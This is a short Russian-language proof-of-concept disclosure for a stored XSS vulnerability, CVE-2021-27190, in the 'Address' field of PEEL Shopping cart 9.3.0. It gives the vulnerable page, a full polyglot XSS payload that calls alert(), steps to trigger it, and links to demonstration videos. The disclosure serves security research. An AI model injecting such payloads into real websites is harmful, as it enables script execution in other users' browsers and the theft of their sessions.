
Эксплойт-доказательство концепции для CVE-2021-27190: уязвимость хранения межсайтового скриптинга (Stored XSS) в PEEL Shopping cart 9.3.0 через параметр 'Address', с полезной нагрузкой и демонстрационным видео.
2021-02-11
Anmol K Sachan
https://www.peel.fr/nos-offres-1/peel-shopping-31.html
https://sourceforge.net/projects/peel-shopping/
https://drive.google.com/file/d/1dIwRdaqtEyqUUgxbRqrHiS5WQ10nEG8z/view?usp=sharing
PEEL SHOPPING 9.3.0
Хранимый межсайтовый скриптинг
Хранимый XSS
CVE-2021-27190
Данное приложение уязвимо к хранимому XSS.
http://localhost/peel-shopping_9_3_0/utilisateurs/change_params.php
https://github.com/anmolksachan/CVE-2021-27190-PEEL-Shopping-cart-9.3.0-Stored-XSS/edit/main/README.MD## Уязвимые параметры
'Address'
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
https://drive.google.com/file/d/1t1hksDsYqYsqryRq61tNIQQMTCFidtc1/view
На той же странице, где мы ввели полезную нагрузку, нажмите на текстовое поле для редактирования адреса.
Вы увидите выполнение вашего JavaScript-кода (XSS).